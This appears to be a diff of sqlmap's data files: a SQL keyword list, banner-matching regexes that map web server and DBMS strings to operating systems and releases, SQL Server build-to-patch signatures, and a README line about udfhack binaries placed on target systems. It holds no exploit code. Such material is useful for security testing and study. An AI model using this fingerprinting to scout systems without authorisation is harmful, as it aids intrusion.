WHILE
WITH
WRITEXOR
YEAR_MONTH
ZEROFILL
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
ABS
ACOS
ALL
ALLOCATE
ALTER
ANALYSE
ANALYZE
AND
ANY
ARE
ARRAY
ARRAY_AGG
ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASIN
ASYMMETRIC
AT
ATAN
ATOMIC
AUTHORIZATION
AVG
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BETWEEN
BIGINT
BINARY
BLOB
BOOLEAN
BOTH
BY
CALL
CALLED
CARDINALITY
CASCADED
CASE
CAST
CEIL
CEILING
CHAR
CHARACTER
CHARACTER_LENGTH
CHAR_LENGTH
CHECK
CLASSIFIER
CLOB
CLOSE
COALESCE
COLLATE
COLLATION
COLLECT
COLUMN
COMMIT
CONCURRENTLY
CONDITION
CONNECT
CONSTRAINT
CONTAINS
CONVERT
COPY
CORR
CORRESPONDING
COS
COSH
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CUBE
CUME_DIST
CURRENT
CURRENT_CATALOG
CURRENT_DATE
CURRENT_DEFAULT_TRANSFORM_GROUP
CURRENT_PATH
CURRENT_ROLE
CURRENT_ROW
CURRENT_SCHEMA
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CYCLE
DATALINK
DATE
DAY
DEALLOCATE
DEC
DECFLOAT
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFINE
DELETE
DENSE_RANK
DEREF
DESC
DESCRIBE
DETERMINISTIC
DISCONNECT
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
DLURLCOMPLETE
DLURLCOMPLETEONLY
DLURLCOMPLETEWRITE
DLURLPATH
DLURLPATHONLY
DLURLPATHWRITE
DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOUBLE
DROP
DYNAMIC
EACH
ELEMENT
ELSE
EMPTY
END
END-EXEC
END_FRAME
END_PARTITION
EQUALS
ESCAPE
EVERY
EXCEPT
EXEC
EXECUTE
EXISTS
EXP
EXTERNAL
EXTRACT
FALSE
FETCH
FILTER
FIRST_VALUE
FLOAT
FLOOR
FOR
FOREIGN
FRAME_ROW
FREE
FREEZE
FROM
FULL
FUNCTION
FUSION
GET
GLOBAL
GRANT
GROUP
GROUPING
GROUPS
HAVING
HOLD
HOUR
IDENTITY
ILIKE
IMPORT
IN
INDICATOR
INITIAL
INITIALLY
INNER
INOUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERSECTION
INTERVAL
INTO
IS
ISNULL
JOIN
JSON_ARRAY
JSON_ARRAYAGG
JSON_EXISTS
JSON_OBJECT
JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG
LANGUAGE
LARGE
LAST_VALUE
LATERAL
LEAD
LEADING
LEFT
LIKE
LIKE_REGEX
LIMIT
LISTAGG
LN
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOG
LOG10
LOWER
MATCH
MATCHES
MATCH_NUMBER
MATCH_RECOGNIZE
MAX
MEASURES
MEMBER
MERGE
METHOD
MIN
MINUTE
MOD
MODIFIES
MODULE
MONTH
MULTISET
NATIONAL
NATURAL
NCHAR
NCLOB
NEW
NO
NONE
NORMALIZE
NOT
NOTNULL
NTH_VALUE
NTILE
NULL
NULLIF
NUMERIC
OCCURRENCES_REGEX
OCTET_LENGTH
OF
OFFSET
OLD
OMIT
ON
ONE
ONLY
OPEN
OR
ORDER
OUT
OUTER
OVER
OVERLAPS
OVERLAY
PARAMETER
PARTITION
PATTERN
PER
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMUTE
PLACING
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECISION
PREPARE
PRIMARY
PROCEDURE
PTF
RANGE
RANK
READS
REAL
RECURSIVE
REF
REFERENCES
REFERENCING
REGR_AVGX
REGR_AVGY
REGR_COUNT
REGR_INTERCEPT
REGR_R2
REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
RELEASE
RESULT
RETURN
RETURNING
RETURNS
REVOKE
RIGHT
ROLLBACK
ROLLUP
ROW
ROWS
ROW_NUMBER
RUNNING
SAVEPOINT
SCOPE
SCROLL
SEARCH
SECOND
SEEK
SELECT
SENSITIVE
SESSION_USER
SET
SHOW
SIMILAR
SIN
SINH
SKIP
SMALLINT
SOME
SPECIFIC
SPECIFICTYPE
SQL
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
START
STATIC
STDDEV_POP
STDDEV_SAMP
SUBMULTISET
SUBSET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSTEM
SYSTEM_TIME
SYSTEM_USER
TABLE
TABLESAMPLE
TAN
TANH
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
UESCAPE
UNION
UNIQUE
UNKNOWN
UNMATCHED
UNNEST
UPDATE
UPPER
USER
USING
VALUE
VALUES
VALUE_OF
VARBINARY
VARCHAR
VARIADIC
VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSIONING
WHEN
WHENEVER
WHERE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
XML
XMLAGG
XMLATTRIBUTES
XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
XMLFOREST
XMLITERATE
XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
Binary file not shown.
+1 -3
View File
@@ -1,6 +1,4 @@
Binary files in this folder are data files used by sqlmap on the target
system, but not executed on the system running sqlmap. They are licensed
under the terms of the GNU Lesser General Public License and their source
code is available on the official sqlmap subversion repository[1].
[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack/
code is available on https://github.com/sqlmapproject/udfhack.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -7,43 +7,73 @@
<info type="Windows"/>
</regexp>
<regexp value="Service Pack (\d)">
<regexp value="Service Pack 0">
<info sp="0"/>
</regexp>
<regexp value="Service Pack 1">
<info sp="1"/>
</regexp>
<regexp value="Windows.*7\.5">
<info type="Windows" distrib="2008"/>
<regexp value="Service Pack 2">
<info sp="2"/>
</regexp>
<regexp value="Windows.*7\.0">
<info type="Windows" distrib="Vista"/>
<regexp value="Service Pack 3">
<info sp="3"/>
</regexp>
<regexp value="Windows.*6\.0">
<regexp value="Service Pack 4">
<info sp="4"/>
</regexp>
<regexp value="Service Pack 5">
<info sp="5"/>
</regexp>
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
<regexp value="Windows.*\b10\.0">
<info type="Windows" distrib="2019|2016|10"/>
</regexp>
<regexp value="Windows.*\b6\.3">
<info type="Windows" distrib="2012 R2|8.1"/>
</regexp>
<regexp value="Windows.*\b6\.2">
<info type="Windows" distrib="2012|8"/>
</regexp>
<regexp value="Windows.*\b6\.1">
<info type="Windows" distrib="2008 R2|7"/>
</regexp>
<regexp value="Windows.*\b6\.0">
<info type="Windows" distrib="2008|Vista"/>
</regexp>
<regexp value="Windows.*\b5\.2">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Windows.*5\.2">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Windows.*5\.1">
<regexp value="Windows.*\b5\.1">
<info type="Windows" distrib="XP"/>
</regexp>
<regexp value="Windows.*5\.0">
<regexp value="Windows.*\b5\.0">
<info type="Windows" distrib="2000"/>
</regexp>
<regexp value="Windows.*4\.0">
<regexp value="Windows.*\b4\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Windows.*3\.0">
<regexp value="Windows.*\b3\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Windows.*2\.0">
<regexp value="Windows.*\b2\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
@@ -53,6 +83,10 @@
<info type="Linux"/>
</regexp>
<regexp value="\bArch\b">
<info type="Linux" distrib="Arch"/>
</regexp>
<regexp value="CentOS">
<info type="Linux" distrib="CentOS"/>
</regexp>
@@ -66,7 +100,7 @@
</regexp>
<regexp value="Debian">
<info type="Linux" distrib="Debian|Ubuntu"/>
<info type="Linux" distrib="Debian"/>
</regexp>
<regexp value="Fedora">
@@ -85,11 +119,23 @@
<info type="Linux" distrib="Mandrake"/>
</regexp>
<regexp value="Manjaro">
<info type="Linux" distrib="Manjaro"/>
</regexp>
<regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/>
</regexp>
<regexp value="Red[\-\_\ ]*Hat">
<regexp value="\bMint\b">
<info type="Linux" distrib="Mint"/>
</regexp>
<regexp value="\bPuppy\b">
<info type="Linux" distrib="Puppy"/>
</regexp>
<regexp value="Red[\-\_\ ]?Hat">
<info type="Linux" distrib="Red Hat"/>
</regexp>
@@ -105,7 +151,7 @@
<info type="Linux" distrib="Ubuntu"/>
</regexp>
<!-- Unices -->
<!-- BSD -->
<regexp value="FreeBSD">
<info type="FreeBSD"/>
@@ -121,7 +167,7 @@
<!-- Mac OSX -->
<regexp value="Mac[\-\_\ ]*OSX">
<regexp value="Mac[\-\_\ ]?OSX">
<info type="Mac OSX"/>
</regexp>
@@ -1,12 +1,142 @@
<?xml version="1.0" ?>
<root>
<signatures release="2008 R2">
<signature>
<version>
10.50.2418
</version>
<servicepack>
1 CTP
</servicepack>
</signature>
<signature>
<version>
10.50.1797
</version>
<servicepack>
0+Cumulative Update 8
</servicepack>
</signature>
<signature>
<version>
10.50.1790
</version>
<servicepack>
0+Q2494086
</servicepack>
</signature>
<signature>
<version>
10.50.1777
</version>
<servicepack>
0+Cumulative Update 7
</servicepack>
</signature>
<signature>
<version>
10.50.1765
</version>
<servicepack>
0+Cumulative Update 6
</servicepack>
</signature>
<signature>
<version>
10.50.1753
</version>
<servicepack>
0+Cumulative Update 5
</servicepack>
</signature>
<signature>
<version>
10.50.1746
</version>
<servicepack>
0+Cumulative Update 4
</servicepack>
</signature>
<signature>
<version>
10.50.1734
</version>
<servicepack>
0+Cumulative Update 3
</servicepack>
</signature>
<signature>
<version>
10.50.1720
</version>
<servicepack>
0+Cumulative Update 2
</servicepack>
</signature>
<signature>
<version>
10.50.1702
</version>
<servicepack>
0+Cumulative Update 1
</servicepack>
</signature>
<signature>
<version>
10.50.1600.1
</version>
<servicepack>
0
</servicepack>
</signature>
<signature>
<version>
10.50.1450.3
</version>
<servicepack>
0
</servicepack>
</signature>
</signatures>
<signatures release="2008">
<signature>
<version>
10.00.4311
</version>
<servicepack>
2+Q2494094
</servicepack>
</signature>
<signature>
<version>
10.00.4285
</version>
<servicepack>
2+Cumulative Update 4
</servicepack>
</signature>
<signature>
<version>
10.00.4279
</version>
<servicepack>
2+Cumulative Update 3
</servicepack>
</signature>
<signature>
<version>
10.00.4272
</version>
<servicepack>
2+Cumulative Update 2
</servicepack>
</signature>
<signature>
<version>
10.00.4266
</version>
<servicepack>
0+Cumulative Update 1 for 2
2+Cumulative Update 1
</servicepack>
</signature>
<signature>
@@ -14,7 +144,47 @@
10.00.4000
</version>
<servicepack>
0+2
2
</servicepack>
</signature>
<signature>
<version>
10.00.2841
</version>
<servicepack>
1+Q2494100
</servicepack>
</signature>
<signature>
<version>
10.00.2821
</version>
<servicepack>
1+Cumulative Update 14
</servicepack>
</signature>
<signature>
<version>
10.00.2816
</version>
<servicepack>
1+Cumulative Update 13
</servicepack>
</signature>
<signature>
<version>
10.00.2808
</version>
<servicepack>
1+Cumulative Update 12
</servicepack>
</signature>
<signature>
<version>
10.00.2804
</version>
<servicepack>
0+Q2413738
</servicepack>
</signature>
<signature>
@@ -22,7 +192,7 @@
10.00.2799
</version>
<servicepack>
0+Cumulative Update 10 for 1
1+Cumulative Update 10
</servicepack>
</signature>
<signature>
@@ -30,7 +200,7 @@
10.00.2789
</version>
<servicepack>
0+Cumulative Update 9 for 1
1+Cumulative Update 9
</servicepack>
</signature>
<signature>
@@ -38,7 +208,7 @@
10.00.2775
</version>
<servicepack>
0+Cumulative Update 8 for 1
1+Cumulative Update 8
</servicepack>
</signature>
<signature>
@@ -46,7 +216,7 @@
10.00.2766
</version>
<servicepack>
0+Cumulative Update 7 for 1
1+Cumulative Update 7
</servicepack>
</signature>
<signature>
@@ -70,7 +240,7 @@
10.00.2757
</version>
<servicepack>
0+Cumulative Update 6 for 1
1+Cumulative Update 6
</servicepack>
</signature>
<signature>
@@ -78,7 +248,15 @@
10.00.2746
</version>
<servicepack>
0+Cumulative Update 5 for 1
1+Cumulative Update 5
</servicepack>
</signature>
<signature>
<version>
10.00.2740
</version>
<servicepack>
0+Q976761
</servicepack>
</signature>
<signature>
@@ -86,7 +264,7 @@
10.00.2734
</version>
<servicepack>
0+Cumulative Update 4 for 1
1+Cumulative Update 4
</servicepack>
</signature>
<signature>
@@ -94,7 +272,7 @@
10.00.2723
</version>
<servicepack>
0+Cumulative Update 3 for 1
1+Cumulative Update 3
</servicepack>
</signature>
<signature>
@@ -102,7 +280,7 @@
10.00.2714
</version>
<servicepack>
0+Cumulative Update 2 for 1
1+Cumulative Update 2
</servicepack>
</signature>
<signature>
@@ -118,7 +296,7 @@
10.00.2710
</version>
<servicepack>
0+Cumulative Update 1 for 1
1+Cumulative Update 1
</servicepack>
</signature>
<signature>
@@ -126,7 +304,7 @@
10.00.2531
</version>
<servicepack>
0+1
1
</servicepack>
</signature>
<signature>
@@ -153,6 +331,14 @@
0+Cumulative Update 8
</servicepack>
</signature>
<signature>
<version>
10.00.1818
</version>
<servicepack>
0+Q973601
</servicepack>
</signature>
<signature>
<version>
10.00.1812
@@ -201,6 +387,22 @@
0+Q958611
</servicepack>
</signature>
<signature>
<version>
10.00.1763
</version>
<servicepack>
0+Q956717
</servicepack>
</signature>
<signature>
<version>
10.00.1755
</version>
<servicepack>
0+Q957387
</servicepack>
</signature>
<signature>
<version>
10.00.1750
@@ -243,12 +445,36 @@
</signature>
</signatures>
<signatures release="2005">
<signature>
<version>
9.00.5292
</version>
<servicepack>
4+Q2494123
</servicepack>
</signature>
<signature>
<version>
9.00.5266
</version>
<servicepack>
4 Cumulative Update 3
</servicepack>
</signature>
<signature>
<version>
9.00.5254
</version>
<servicepack>
4 Cumulative Update 1
</servicepack>
</signature>
<signature>
<version>
9.00.5000
</version>
<servicepack>
0+4 0
4
</servicepack>
</signature>
<signature>
@@ -256,7 +482,31 @@
9.00.4912
</version>
<servicepack>
0+4 CTP
4 CTP
</servicepack>
</signature>
<signature>
<version>
9.00.4340
</version>
<servicepack>
3+Q2494112
</servicepack>
</signature>
<signature>
<version>
9.00.4325
</version>
<servicepack>
3+Q2438344
</servicepack>
</signature>
<signature>
<version>
9.00.4315
</version>
<servicepack>
3+Q2438344
</servicepack>
</signature>
<signature>
@@ -344,7 +594,7 @@
9.00.4224
</version>
<servicepack>
0+Q971409
3+Q971409
</servicepack>
</signature>
<signature>
@@ -384,7 +634,7 @@
9.00.4053
</version>
<servicepack>
0+3
3
</servicepack>
</signature>
<signature>
@@ -392,7 +642,7 @@
9.00.4035
</version>
<servicepack>
0+3
3
</servicepack>
</signature>
<signature>
@@ -2076,7 +2326,7 @@
8.00.2283
</version>
<servicepack>
0+Q971524
4+Q971524
</servicepack>
</signature>
<signature>
+79
View File
@@ -0,0 +1,79 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* https://en.wikipedia.org/wiki/Debian_version_history
-->
<root>
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
<info dbms_version="1" type="Windows"/>
</regexp>
<!-- Debian -->
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+lenny">
<info dbms_version="1" type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+squeeze">
<info dbms_version="1" type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
<info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
<info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
<info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
<info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
<info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
<info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
</regexp>
</root>
+16
View File
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="PostgreSQL\s+([\w\.]+)">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="Visual C\+\+">
<info type="Windows"/>
</regexp>
<regexp value="mingw([\d]+)">
<info type="Windows"/>
</regexp>
</root>
@@ -2,24 +2,35 @@
<!--
References:
* http://www.http-stats.com/Server
* http://en.wikipedia.org
* https://en.wikipedia.org/wiki/Internet_Information_Services
* http://distrowatch.com
-->
<root>
<!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(10\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2019|2016|10"/>
</regexp>
<regexp value="Microsoft-IIS/(8\.5)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012 R2|8.1"/>
</regexp>
<regexp value="Microsoft-IIS/(8\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012|8"/>
</regexp>
<regexp value="Microsoft-IIS/(7\.5)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008"/>
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008 R2|7"/>
</regexp>
<regexp value="Microsoft-IIS/(7\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="Vista"/>
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008|Vista"/>
</regexp>
<regexp value="Microsoft-IIS/(6\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2003"/>
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2003|XP"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.2)">
@@ -74,6 +85,18 @@
<info type="Linux" distrib="CentOS" release="5"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="6"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="7"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="8"/>
</regexp>
<!-- Apache: Debian -->
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
@@ -112,24 +135,32 @@
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
<info type="Linux" distrib="Debian" release="4" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Debian\)">
<info type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
<info type="Linux" distrib="Debian" release="5" codename="lenny"/>
</regexp>
<regexp value="Apache/2\.2\.16 \(Debian\)">
<info type="Linux" distrib="Debian" release="6.0" codename="testing squeeze|unstable sid"/>
<info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Debian\)">
<info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Debian\)">
<info type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Debian\)">
<info type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Debian\)">
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp>
<!-- Apache: Fedora -->
@@ -206,90 +237,207 @@
<info type="Linux" distrib="Fedora" release="13" codename="Goddard"/>
</regexp>
<regexp value="Apache/2\.2\.16 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="14" codename="Laughlin"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="15" codename="Lovelock"/>
</regexp>
<regexp value="Apache/2\.2\.21 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="16" codename="Verne"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="17" codename="Beefy"/>
</regexp>
<regexp value="Apache/2\.4\.3 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="18" codename="Spherical"/>
</regexp>
<regexp value="Apache/2\.4\.4 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="19" codename="Schrodingers"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="20" codename="Heisenbug"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="21"/>
</regexp>
<regexp value="Apache/2\.4\.12 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="22"/>
</regexp>
<regexp value="Apache/2\.4\.16 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="23"/>
</regexp>
<regexp value="Apache/2\.4\.18 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="24"/>
</regexp>
<regexp value="Apache/2\.4\.23 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="25"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="26"/>
</regexp>
<regexp value="Apache/2\.4\.28 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="27"/>
</regexp>
<regexp value="Apache/2\.4\.33 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="28"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="29"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="30"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="31"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="32"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="33"/>
</regexp>
<!-- Apache: FreeBSD -->
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.4"/>
<info type="FreeBSD" release="4.4"/>
</regexp>
<regexp value="Apache/2\.0\.28 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.5"/>
<info type="FreeBSD" release="4.5"/>
</regexp>
<regexp value="Apache/2\.0\.36 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.6"/>
<info type="FreeBSD" release="4.6"/>
</regexp>
<regexp value="Apache/2\.0\.43 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.7|5.0"/>
<info type="FreeBSD" release="4.7|5.0"/>
</regexp>
<regexp value="Apache/2\.0\.44 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.8"/>
<info type="FreeBSD" release="4.8"/>
</regexp>
<regexp value="Apache/2\.0\.47 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.9"/>
<info type="FreeBSD" release="4.9"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.10"/>
<info type="FreeBSD" release="4.10"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="4.11"/>
<info type="FreeBSD" release="4.11"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="5.1"/>
<info type="FreeBSD" release="5.1"/>
</regexp>
<regexp value="Apache/2\.0\.48 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="5.2.1"/>
<info type="FreeBSD" release="5.2.1"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="5.3"/>
<info type="FreeBSD" release="5.3"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="5.4"/>
<info type="FreeBSD" release="5.4"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="5.5|6.1"/>
<info type="FreeBSD" release="5.5|6.1"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="6.0"/>
<info type="FreeBSD" release="6.0"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="6.2"/>
<info type="FreeBSD" release="6.2"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="6.3|7.0"/>
<info type="FreeBSD" release="6.3|7.0"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="6.4|7.1"/>
<info type="FreeBSD" release="6.4|7.1"/>
</regexp>
<regexp value="Apache/2\.2\.11 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="7.2"/>
<info type="FreeBSD" release="7.2"/>
</regexp>
<regexp value="Apache/2\.2\.14 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="7.3"/>
<info type="FreeBSD" release="7.3"/>
</regexp>
<regexp value="Apache/2\.2\.13 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="8.0"/>
<info type="FreeBSD" release="8.0"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(FreeBSD\)">
<info type="Linux" distrib="FreeBSD" release="8.1"/>
<info type="FreeBSD" release="8.1"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(FreeBSD\)">
<info type="FreeBSD" release="8.2"/>
</regexp>
<regexp value="Apache/2\.2\.21 \(FreeBSD\)">
<info type="FreeBSD" release="9.0"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(FreeBSD\)">
<info type="FreeBSD" release="9.2"/>
</regexp>
<regexp value="Apache/2\.4\.9 \(FreeBSD\)">
<info type="FreeBSD" release="9.3"/>
</regexp>
<regexp value="Apache/2\.4\.16 \(FreeBSD\)">
<info type="FreeBSD" release="10.3"/>
</regexp>
<regexp value="Apache/2\.4\.27 \(FreeBSD\)">
<info type="FreeBSD" release="10.4"/>
</regexp>
<regexp value="Apache/2\.4\.26 \(FreeBSD\)">
<info type="FreeBSD" release="11.1"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(FreeBSD\)">
<info type="FreeBSD" release="11.3"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(FreeBSD\)">
<info type="FreeBSD" release="12.2"/>
</regexp>
<!-- Apache: Mandrake / Mandriva -->
@@ -395,7 +543,7 @@
</regexp>
